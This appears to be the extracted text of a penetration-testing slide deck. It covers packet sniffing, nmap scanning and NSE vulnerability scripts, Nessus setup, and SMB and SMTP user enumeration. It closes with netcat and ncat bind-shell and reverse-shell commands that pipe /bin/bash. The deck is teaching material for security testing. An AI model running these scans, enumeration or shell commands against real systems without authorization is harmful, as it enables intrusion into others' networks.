Network Penetration Testing
Scanning Steps
Network Sweeping
●
Network Tracing
●
Port Scanning
●
OS Fingerprinting
●
Version Scanning
●
Vulnerability Scanning
●
2
Scanning
TIPS
●
–When scanning systems use IP addresses instead of Domain
Names.
–In large scan cases use most popular ports instead of all ports OR
if you want to scan all the ports use multiple systems to perform
full scanning on the target organization.
–Run a sniffer.
3
Sniffers
●
TCPDUMP
–tcpdump -nn -X -v -i eth0 -s0
–tcpdump -nn {tcp|udp|icmp|arp|ip} {and|or|not} {port} {and|or|not}
{dst|src|host} 8.8.8.8
–tcpdump -nn tcp and port 21 and host 10.0.2.5 -i eth0 -s0 -w ftp.pcapng
–tcpdump -nn -r ftp.pcapng
●
Wireshark
–ip.addr == 192.168.1.14
–ip.addr == 192.168.1.1 and http
–http or arp
–ip.addr == 192.168.1.1 and tcp.port == 80
4
Network Sweeping
●
NMAP do host discovery through ARP(local),
ICMP(root), TCP SYN port 443, TCP ACK port 80.
–nmap -n -sn 8.8.8.8
If the above method fails run normal port scanning
●
without host discovery.
–nmap -n -Pn -sS 8.8.8.8
5
Network Tracing
Linux traceroute use UDP by default
●
–traceroute -n 8.8.8.8 #UDP
–traceroute -I 8.8.8.8 #ICMP
–traceroute -T 8.8.8.8 #TCP
Windows tracert use ICMP by default
●
–tracert -d 8.8.8.8 #ICMP
6
Port Scanning
TCP Three way handshake
●
7
Port Scanning
TCP Behavior
●
–send=SYN, recieve=SYN-ACK
Port Open
●
–send=SYN, recieve=RST-ACK
Port Close
●
–send=SYN, recieve=ICMP-Port-Unreachable
Blocked by Firewall (Filtered)
●
–send=SYN, recieve=Nothing
Blocked by Firewall (Filtered)
●
8
Port Scanning
UDP Behavior
●
–send=UDP, recieve=UDP
Port Open
●
–send=UDP, recieve=ICMP-Port-Unreachable
Port Close OR Blocked by Firewall
●
–send=UDP, recieve=Nothing
●
Port Close OR Blocked by Firewall OR Port Open but it
is looking for specific data in UDP payload
Nmap result => (Open|Filtered)
●
9
Port Scanning
No host discovery and control speed
●
–nmap -Pn -T{0|1|2|3|4|5} 8.8.8.8
Scan type (SYN or Connect or UDP)
●
–nmap -s{S|T|U} 8.8.8.8
Scan specific ports
●
–nmap -p { 21,22,80,443 | 20-80 | - } 8.8.8.8
–nmap --top-ports 100 100 8.8.8.8
Store result in file
●
–nmap -oA filename 8.8.8.8
Special options
●
–nmap --reason 8.8.8.8
–nmap --badsum 8.8.8.8
10
OS Fingerprinting & Version Scanning
OS Fingerprinting
●
–nmap -O 8.8.8.8
Version Scanning
●
–nmap -sV 8.8.8.8
–nmap -A 8.8.8.8 #A = -sV -O -sC
11
Vulnerability Scanning
NMAP Script Engine
●
–ls /usr/share/nmap/scripts/
–nmap -sC 8.8.8.8
–nmap --script=http-robots.txt.nse -p80 8.8.8.8
–nmap -p 80 --script=http-vuln-cve2010-2861.nse 192.168.1.1
–nmap -p 21 --script=ftp-anon.nse 192.168.1.1
–nmap -p 139,445 --script=smb-security-mode.nse 192.168.1.1
–nmap -p 139,445 --script=smb* 192.168.1.1
–nmap --script=smb-os-discovery.nse 10.0.2.5
–nmap --script=dns-zone-transfer -p 53 zonetransfer.me
12
Vulnerability Scanning
Nessus
●
–https://www.tenable.com/downloads/nessus
–dpkg -i Nessus-6.9.4-debian6_amd64.deb
–service nessusd start
–update-rc.d nessusd enable
–https://localhost:8834/
13
Enumerating Users
SMB
●
–NULL Session
rpcclient -U "" -N 10.0.2.4
●
–enumdomusers
–queryuser 0x3e8
–Session with username and password
rpcclient -U "test" 10.0.2.4
●
–Enum4Linux
enum4linux 10.0.2.4
●
enum4linux -u "test" -p "test" 10.0.2.4
●
SMTP
●
–telnet 192.168.1.104 25
VRFY msfadmin
●
–smtp-user-enum -M VRFY -U users.txt -t 192.168.1.104
14
Netcat & Ncat
Find open ports
●
–nc -nv 127.0.0.1 21
–nc -vz 127.0.0.1 21
–nc -v 127.0.0.1 21
–timeout 1 nc -v 127.0.0.1 21
Chat using nc
●
–nc -nlvp 4444 #on server
–nc -nv 127.0.0.1 4444 #on client
Bind shell
●
–nc -nlvp 4444 -e /bin/bash (cmd.exe) #on target
–nc -nv 127.0.0.1 4444 #on attacker
Reverse shell
●
–nc -nlvp 4444 #on attacker
–nc -nv 127.0.0.1 4444 -e /bin/bash (cmd.exe) #on target
Ncat
●
–ncat --exec /bin/bash (cmd.exe) --allow 127.0.0.1 -vnl 4444 --ssl
–ncat -v 127.0.0.1 4444 --ssl
15
